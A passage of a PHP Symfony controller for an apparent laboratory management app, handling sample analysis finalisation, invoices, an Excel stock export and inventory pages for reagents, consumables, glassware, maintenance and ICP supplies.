$rrunfaq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
'status' => "FA Q"
]);
/** @var RRun $rruncupq */
$rruncupq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
'status' => "CUP Q"
]);
/** @var RRun $rrundisq */
$rrundisq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
'status' => "DIS Q"
]);
/** @var Inventory $xrfq */
$xrfq = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
'xrfStatus' => "To Add"
]);
return $this->render('cats/tasks.html.twig',[
'orders' => $orders,
'inventory' => $inv,
'priority' => $priority,
'milllist' => $milllist,
'openlist' => $openlist,
'prunweighq' => $prunweighq,
'rrunweighq' => $rrunweighq,
'rrunfaq' => $rrunfaq,
'prunfaq' => $prunfaq,
'rruncupq' => $rruncupq,
'rrundisq' => $rrundisq,
'xrfq' => $xrfq
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/log", name="log")
* @return Response $response
*/
public function log(Request $request)
{
/** @var Log $inv */
//$log = $this->getDoctrine()->getRepository(Log::class)->findAll();
return $this->render('cats/log.html.twig',[
//'log' => $log
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/cp", name="cp")
* @return Response $response
*/
public function cp(Request $request)
{
/** @var Inventory $samples */
$samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
'analysisStatus' => ['In Progress', 'Flagged']
],[
'id' => 'ASC'
]);
//$qb = $this->em->createQuery("SELECT a FROM App\Entity\Inventory a LEFT OUTER JOIN a.rruns b LEFT OUTER JOIN b.icpruns c WHERE (a.analysisStatus = 'In Progress' and c.icppt IS NOT NULL) GROUP BY a.id ORDER By a.id DESC");
if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
/* @var QueryBuilder $qb */
$qb = $this->em->createQueryBuilder();
$qb->select('a');
$qb->from(Inventory::class, 'a');
$qb->leftJoin('a.assignedOrder', 'b');
$qb->leftJoin('a.rruns', 'c');
$qb->leftJoin('c.icpruns', 'd');
$qb->where("a.analysisStatus IN ('In Progress', 'Flagged')");
$qb->andWhere('d.icppt IS NOT NULL');
$qb->andWhere('b.WNJ = TRUE');
//$qb->andWhere('d.icppt IS NOT NULL');
$samples = ($qb->getQuery()->getResult());
} else {
/* @var QueryBuilder $qb */
$qb = $this->em->createQueryBuilder();
$qb->select('a');
$qb->from(Inventory::class, 'a');
$qb->leftJoin('a.assignedOrder', 'b');
$qb->leftJoin('a.rruns', 'c');
$qb->leftJoin('c.icpruns', 'd');
$qb->where("a.analysisStatus IN ('In Progress', 'Flagged')");
$qb->andWhere('d.icppt IS NOT NULL');
//$qb->andWhere('d.icppt IS NOT NULL');
$samples = ($qb->getQuery()->getResult());
}
if ( $request->isMethod("post") ) {
$data = $request->request->all();
if (null !== $request->get('finalize')){
if (array_key_exists('chkids',$data)) {
foreach ($data['chkids'] as $j) {
/** @var Inventory $sample */
$sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
'id' => $j
]);
foreach ($sample->getRruns() as $k) {
/** @var RRun $k */
$k->setStatus('Archived');
$this->em->persist($k);
foreach ($k->getIcpruns() as $l) {
/** @var RRun $l */
$l->setStatus('Archived');
$this->em->persist($l);
}
}
$sample->setDateFinished(new \DateTime());
$sample->setAnalysisStatus('Completed');
$sample->setIcppt($data['entry'][$j]['avgpt']);
$sample->setIcppd($data['entry'][$j]['avgpd']);
$sample->setIcprh($data['entry'][$j]['avgrh']);
$this->em->persist($sample);
$this->em->flush();
}
}
return $this->redirect($this->generateUrl('cp'));
}
if (null !== $request->get('finalizemaxrh')){
if (array_key_exists('chkids',$data)) {
foreach ($data['chkids'] as $j) {
/** @var Inventory $sample */
$sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
'id' => $j
]);
foreach ($sample->getRruns() as $k) {
/** @var RRun $k */
$k->setStatus('Archived');
$this->em->persist($k);
foreach ($k->getIcpruns() as $l) {
/** @var RRun $l */
$l->setStatus('Archived');
$this->em->persist($l);
}
}
foreach ($sample->getMoists() as $i){
/** @var Moists $i*/
$i->setStatus('Archived');
$this->em->persist($i);
}
$sample->setDateFinished(new \DateTime());
$sample->setAnalysisStatus('Completed');
$sample->setIcppt($data['entry'][$j]['avgpt']);
$sample->setIcppd($data['entry'][$j]['avgpd']);
$sample->setIcprh($data['entry'][$j]['maxrh']);
$this->em->persist($sample);
$this->em->flush();
}
}
return $this->redirect($this->generateUrl('cp'));
}
if (null !== $request->get('finalizemaxrhcustom')){
if (array_key_exists('chkids',$data)) {
foreach ($data['chkids'] as $j) {
/** @var Inventory $sample */
$sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
'id' => $j
]);
foreach ($sample->getRruns() as $k) {
/** @var RRun $k */
$k->setStatus('Archived');
$this->em->persist($k);
foreach ($k->getIcpruns() as $l) {
/** @var RRun $l */
$l->setStatus('Archived');
$this->em->persist($l);
}
}
foreach ($sample->getMoists() as $i){
/** @var Moists $i*/
$i->setStatus('Archived');
$this->em->persist($i);
}
$sample->setDateFinished(new \DateTime());
$sample->setAnalysisStatus('Completed');
$sample->setIcppt($data['entry'][$j]['avgpt']);
$sample->setIcppd($data['entry'][$j]['avgpd']);
$sample->setIcprh($data['entry'][$j]['maxrh']*0.996);
$this->em->persist($sample);
$this->em->flush();
}
}
return $this->redirect($this->generateUrl('cp'));
}
if (null !== $request->get('flag')){
$info = $request->get('entry');
foreach($data['chkids'] as $j){
$sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
'id' => $j
]);
$sample->setAnalysisStatus('Flagged');
$this->em->persist($sample);
$this->em->flush();
}
return $this->redirect($this->generateUrl('cp'));
}
}
return $this->render('cats/cp.html.twig',[
'inventory' => $samples,
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_INVOICES') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/invoices", name="invoices")
* @return Response $response
*/
public function invoices(Request $request)
{
$qb = $this->em->createQueryBuilder();
$qb->setCacheable(false);
$qb->select('i');
$qb->from(Invoice::class,'i');
$qb->leftJoin('i.orders', 'o');
$qb->leftJoin('o.samples', 's');
$qb->where("i.status = 'Open'");
$invoices = $qb->getQuery()->getResult();
$qb = $this->em->createQueryBuilder();
$qb->setCacheable(false);
$qb->select('i');
$qb->from(Invoice::class, 'i');
$qb->leftJoin('i.orders', 'o');
$qb->leftJoin('o.samples', 's');
$qb->where("i.status = 'Closed'");
$allClosedInvoices = $qb->getQuery()->getResult();
// Create a DateTime object for one year ago
$oneYearAgo = new \DateTime();
$oneYearAgo->modify('-1 year');
// Filter closed invoices in PHP to keep only those with orders not older than 1 year
$closedinvoices = array_filter($allClosedInvoices, function($invoice) use ($oneYearAgo) {
/** @var Invoice $invoice */
$orders = $invoice->getOrders();
// If there are no orders, keep the invoice by default
if (count($orders) === 0) {
return true;
}
// Check if at least one order is newer than one year ago
foreach ($orders as $order) {
if ($order->getDateOfReceipt() >= $oneYearAgo) {
return true;
}
}
return false;
});
if ($request->isMethod("post")) {
$data = $request->request->all();
if (null !== $request->get('newinvoice')){
$invoice = new Invoice();
$invoice->setInvoiceno($data['entry']['invoiceno']);
$invoice->setAmount((float)$data['entry']['amount']);
$invoice->setCurrency($data['entry']['currency']);
$invoice->setRecipient($data['entry']['recipient']);
$invoice->setStatus('Open');
$this->em->persist($invoice);
$this->em->flush();
return $this->redirect($this->generateUrl('invoices'));
}
if (null !== $request->get('editamount')){
$invoiceid = $data['invoiceid'];
$invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
'id' => $invoiceid
]);
$invoice->setInvoiceno($data['invoiceno']);
$invoice->setAmount((float)$data['amount']);
$invoice->setCurrency($data['currency']);
$invoice->setRecipient($data['recipient']);
$this->em->persist($invoice);
$this->em->flush();
return $this->redirect($this->generateUrl('invoices'));
}
if (null !== $request->get('unassignorder')){
$temporder = $this->getDoctrine()->getRepository(Orders::class)->findOneBy([
'id' => $data['orderid']
]);
$temporder->setAssignedInvoice(Null);
$this->em->persist($temporder);
$this->em->flush();
return new Response("success");
}
if (null !== $request->get('deleteinvoice')){
$invoiceid = $data['invoiceid'];
$invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
'id' => $invoiceid
]);
$ordersdel = $this->getDoctrine()->getRepository(Orders::class)->findBy([
'assignedInvoice' => $invoice
]);
foreach ($ordersdel as $j){
$j->setAssignedInvoice(NULL);
$this->em->persist($j);
$this->em->flush();
}
$invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
'id' => $invoiceid
]);
$this->em->remove($invoice);
$this->em->flush();
return $this->redirect($this->generateUrl('invoices'));
}
}
if (null !== $request->get('closeinvoice')){
$invoiceid = $data['invoiceid'];
$invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
'id' => $invoiceid
]);
$invoice->setStatus('Closed');
$this->em->persist($invoice);
$this->em->flush();
return $this->redirect($this->generateUrl('invoices'));
}
return $this->render('cats/invoices.html.twig', [
'invoices' => $invoices,
'closedinvoices' => array_reverse($closedinvoices)
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/stock/download", name="stock_download")
* @return Response $response
*/
public function downloadXlsx(Request $request)
{
$type = $request->query->get('type'); // Get type
$stockIds = $request->query->get('stockIds', []); // Get selected sample IDs
$fromDate = $request->query->get('fromDate'); // Get from-date filter
$toDate = $request->query->get('toDate'); // Get to-date filter
// Decode JSON string into array if necessary
if (is_string($stockIds)) {
$stockIds = json_decode($stockIds, true);
}
$currentDate = (new \DateTime())->format('ymdHis');
$filename = sprintf('%s_stock_%s.xlsx', $currentDate, strtolower($type)); // Generate filename
// Create a new Spreadsheet
$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();
// Add headers
$headers = ['ID', 'Stock ID', 'Stock Name', 'Supplier', 'CAS', 'Stock Type', 'Action Type', 'Quantity', 'Remaining Quantity', 'Date'];
$sheet->fromArray($headers, null, 'A1', true);
// Fetch data from StockManagement repository
$stockManagements = $this->getDoctrine()->getRepository(StockManagement::class)->findAllForXls($type, $stockIds, $fromDate, $toDate);
// Populate data rows
$row = 2; // Start after headers
foreach ($stockManagements as $entry) {
$sheet->fromArray([
$entry->getId(),
$entry->getStockId(),
$entry->getStockName(),
$entry->getSupplier(),
$entry->getComment(),
$entry->getStockType(),
$entry->getActionType(),
$entry->getQuantity(),
$entry->getTotalQuantity(),
$entry->getDate()->format('Y-m-d H:i:s'),
], null, 'A' . $row, true);
$row++;
}
// Generate the Excel file
$writer = new Xlsx($spreadsheet);
// Prepare the response
$response = new StreamedResponse(function () use ($writer) {
$writer->save('php://output');
});
// Set headers for Excel download
$response->setStatusCode(200);
$response->headers->set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
$response->headers->set('Content-Disposition', 'attachment; filename="' . $filename . '"');
return $response;
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/stock", name="stock")
* @return Response $response
*/
public function stock(Request $request)
{
$stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
'type' => 'Reagent'
]);
if ( $request->getMethod() == "POST" ) {
$data = $request->request->all();
if (null !== $request->get('addnew')){
if ($data) {
$info = $data['entry'];
$entry = new Stock();
$entry->setStockname($info['name'])
->setQty((float)$info['qty'])
->setLow((float)$info['low'])
->setCritical((float)$info['critical'])
->setComment($info['comment'])
->setSupplier($info['supplier'])
->setDatemodified(new \DateTime($info['datemodified']))
->setUnits($info['units'])
->setType("Reagent");
$this->em->persist($entry);
$this->em->flush();
// Create a new StockManagement entry when adding new entry
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Add new');
$mgmt->setQuantity($entry->getQty());
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('stock'));
}
}
if (null !== $request->get('delete')){
if ($data) {
$info = $data['entryid'];
/*echo '<pre>';
exit(\Doctrine\Common\Util\Debug:://dump($data));
die();*/
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $info
]);
// Create a new StockManagement entry when deleting
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Delete');
$mgmt->setQuantity(0);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->remove($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('stock'));
}
}
if (null !== $request->get('restock')){
if ($data) {
$info = $data['entry'];
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $data['entryid']
]);
$entry->setQty($entry->getQty()+(float)$data['entry']['qty'])
->setDatemodified(new \DateTime($data['entry']['datemodified']))
->setLow((float)$info['low'])
->setCritical((float)$info['critical'])
->setStockname($info['name'])
->setSupplier($info['supplier'])
->setComment($info['comment'])
->setUnits($info['units'])
->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
// Create a new StockManagement entry when restocking
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Restock');
$mgmt->setQuantity((float)$data['entry']['qty']);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('stock'));
}
}
if (null !== $request->get('takeone')){
if ($data) {
$info = $data['entryid'];
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $data['entryid']
]);
$entry->setQty($entry->getQty() - 1);
$entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
// Create a new StockManagement entry when taking one
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Take One');
$mgmt->setQuantity(-1);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('stock'));
}
}
// Handle 'orderstatus' checkbox change
if (isset($data['orderstatus']) && isset($data['entryid'])) {
$entryId = $data['entryid'];
$orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
// Find the Stock entry by ID
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $entryId
]);
if ($entry) {
$entry->setOrderstatus($orderStatus); // Update orderstatus
$this->em->persist($entry);
$this->em->flush();
return $this->redirect($this->generateUrl('stock'));
}
return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
}
}
return $this->render('cats/stock.html.twig',[
'stock' => $stock
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/stockconsume", name="stockconsume")
* @return Response $response
*/
public function stockconsume(Request $request)
{
$stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
'type' => 'Consumable'
]);
if ( $request->getMethod() == "POST" ) {
$data = $request->request->all();
if (null !== $request->get('addnew')){
if ($data) {
$info = $data['entry'];
$entry = new Stock();
$entry->setStockname($info['name'])->setQty((float)$info['qty'])
->setLow((float)$info['low'])
->setCritical((float)$info['critical']);
$entry->setComment($info['comment']);
$entry->setSupplier($info['supplier']);
$entry->setDatemodified(new \DateTime($info['datemodified']));
$entry->setUnits($info['units']);
$entry->setType("Consumable");
$this->em->persist($entry);
$this->em->flush();
// Create a new StockManagement entry when adding new entry
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Add new');
$mgmt->setQuantity($entry->getQty());
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('stockconsume'));
}
}
if (null !== $request->get('delete')){
if ($data) {
$info = $data['entryid'];
/*echo '<pre>';
exit(\Doctrine\Common\Util\Debug:://dump($data));
die();*/
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $info
]);
// Create a new StockManagement entry when deleting
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Delete');
$mgmt->setQuantity(0);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->remove($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('stockconsume'));
}
}
if (null !== $request->get('restock')){
if ($data) {
$info = $data['entry'];
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $data['entryid']
]);
$entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
$entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
->setLow((float)$info['low'])
->setCritical((float)$info['critical']);
$entry->setStockname($info['name']);
$entry->setSupplier($info['supplier']);
$entry->setComment($info['comment']);
$entry->setUnits($info['units']);
$entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
// Create a new StockManagement entry when restocking
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Restock');
$mgmt->setQuantity((float)$data['entry']['qty']);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('stockconsume'));
}
}
if (null !== $request->get('takeone')){
if ($data) {
$info = $data['entryid'];
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $data['entryid']
]);
$entry->setQty($entry->getQty() - 1);
$entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
// Create a new StockManagement entry when taking one
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Take One');
$mgmt->setQuantity(-1);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('stockconsume'));
}
}
// Handle 'orderstatus' checkbox change
if (isset($data['orderstatus']) && isset($data['entryid'])) {
$entryId = $data['entryid'];
$orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
// Find the Stock entry by ID
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $entryId
]);
if ($entry) {
$entry->setOrderstatus($orderStatus); // Update orderstatus
$this->em->persist($entry);
$this->em->flush();
return $this->redirect($this->generateUrl('stockconsume'));
}
return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
}
}
return $this->render('cats/stockconsume.html.twig',[
'stock' => $stock
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/equipstock", name="equipstock")
* @return Response $response
*/
public function equipstock(Request $request)
{
$stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
'type' => 'Glass'
]);
if ( $request->getMethod() == "POST" ) {
$data = $request->request->all();
if (null !== $request->get('addnew')){
if ($data) {
$info = $data['entry'];
$entry = new Stock();
$entry->setStockname($info['name'])->setQty((float)$info['qty'])
->setLow((float)$info['low'])
->setCritical((float)$info['critical']);
$entry->setComment($info['comment']);
$entry->setSupplier($info['supplier']);
$entry->setDatemodified(new \DateTime($info['datemodified']));
$entry->setUnits($info['units']);
$entry->setType("Glass");
$this->em->persist($entry);
$this->em->flush();
// Create a new StockManagement entry when adding new entry
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Add new');
$mgmt->setQuantity($entry->getQty());
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('equipstock'));
}
}
if (null !== $request->get('delete')){
if ($data) {
$info = $data['entryid'];
/*echo '<pre>';
exit(\Doctrine\Common\Util\Debug:://dump($data));
die();*/
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $info
]);
// Create a new StockManagement entry when deleting
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Delete');
$mgmt->setQuantity(0);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->remove($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('equipstock'));
}
}
if (null !== $request->get('restock')){
if ($data) {
$info = $data['entry'];
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $data['entryid']
]);
$entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
$entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
->setLow((float)$info['low'])
->setCritical((float)$info['critical']);
$entry->setStockname($info['name']);
$entry->setSupplier($info['supplier']);
$entry->setComment($info['comment']);
$entry->setUnits($info['units']);
$entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
// Create a new StockManagement entry when restocking
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Restock');
$mgmt->setQuantity((float)$data['entry']['qty']);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('equipstock'));
}
}
if (null !== $request->get('takeone')){
if ($data) {
$info = $data['entryid'];
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $data['entryid']
]);
$entry->setQty($entry->getQty() - 1);
$entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
// Create a new StockManagement entry when taking one
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Take One');
$mgmt->setQuantity(-1);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('equipstock'));
}
}
// Handle 'orderstatus' checkbox change
if (isset($data['orderstatus']) && isset($data['entryid'])) {
$entryId = $data['entryid'];
$orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
// Find the Stock entry by ID
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $entryId
]);
if ($entry) {
$entry->setOrderstatus($orderStatus); // Update orderstatus
$this->em->persist($entry);
$this->em->flush();
return $this->redirect($this->generateUrl('equipstock'));
}
return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
}
}
return $this->render('cats/equipstock.html.twig',[
'stock' => $stock
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/stockMaintenance", name="stockMaintenance")
* @return Response $response
*/
public function stockMaintenance(Request $request)
{
$stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
'type' => 'Maintenance'
]);
if ( $request->getMethod() == "POST" ) {
$data = $request->request->all();
if (null !== $request->get('addnew')){
if ($data) {
$info = $data['entry'];
$entry = new Stock();
$entry->setStockname($info['name'])
->setSupplier($info['supplier'])
->setFault($info['fault'])
->setUnits($info['units'])
->setQty(1)
->setComment($info['comment'])
->setDatemodified(new \DateTime($info['datemodified']))
->setType("Maintenance");
$this->em->persist($entry);
$this->em->flush();
return $this->redirect($this->generateUrl('stockMaintenance'));
}
}
if (null !== $request->get('delete')){
if ($data) {
$info = $data['entryid'];
/*echo '<pre>';
exit(\Doctrine\Common\Util\Debug:://dump($data));
die();*/
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $info
]);
$this->em->remove($entry);
$this->em->flush();
return $this->redirect($this->generateUrl('stockMaintenance'));
}
}
if (null !== $request->get('restock')){
if ($data) {
$info = $data['entry'];
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $data['entryid']
]);
$entry->setDatemodified(new \DateTime());
$entry->setStockname($info['name']);
$entry->setFault($info['fault']);
$entry->setSupplier($info['supplier']);
$entry->setComment($info['comment']);
$entry->setUnits($info['units']);
$this->em->persist($entry);
$this->em->flush();
return $this->redirect($this->generateUrl('stockMaintenance'));
}
}
}
return $this->render('cats/stockMaintenance.html.twig',[
'stock' => $stock
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/icpstock", name="icpstock")
* @return Response $response
*/
public function icpstock(Request $request)
{
$stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
'type' => 'ICP'
]);
if ( $request->getMethod() == "POST" ) {
$data = $request->request->all();
if (null !== $request->get('addnew')){
if ($data) {
$info = $data['entry'];
$entry = new Stock();
$entry->setStockname($info['name'])->setQty((float)$info['qty'])
->setLow((float)$info['low'])
->setCritical((float)$info['critical']);
$entry->setComment($info['comment']);
$entry->setSupplier($info['supplier']);
$entry->setDatemodified(new \DateTime($info['datemodified']));
$entry->setUnits($info['units']);
$entry->setType("ICP");
$this->em->persist($entry);
$this->em->flush();
// Create a new StockManagement entry when adding new entry
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Add new');
$mgmt->setQuantity($entry->getQty());
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('icpstock'));
}
}
if (null !== $request->get('delete')){
if ($data) {
$info = $data['entryid'];
/*echo '<pre>';
exit(\Doctrine\Common\Util\Debug:://dump($data));
die();*/
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $info
]);
// Create a new StockManagement entry when deleting
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Delete');
$mgmt->setQuantity(0);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->remove($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('icpstock'));
}
}
if (null !== $request->get('restock')){
if ($data) {
$info = $data['entry'];
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $data['entryid']
]);
$entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
$entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
->setLow((float)$info['low'])
->setCritical((float)$info['critical']);
$entry->setStockname($info['name']);
$entry->setSupplier($info['supplier']);
$entry->setComment($info['comment']);
$entry->setUnits($info['units']);
$entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
// Create a new StockManagement entry when restocking
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Restock');
$mgmt->setQuantity((float)$data['entry']['qty']);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('icpstock'));
}
}
if (null !== $request->get('takeone')){
if ($data) {
$info = $data['entryid'];
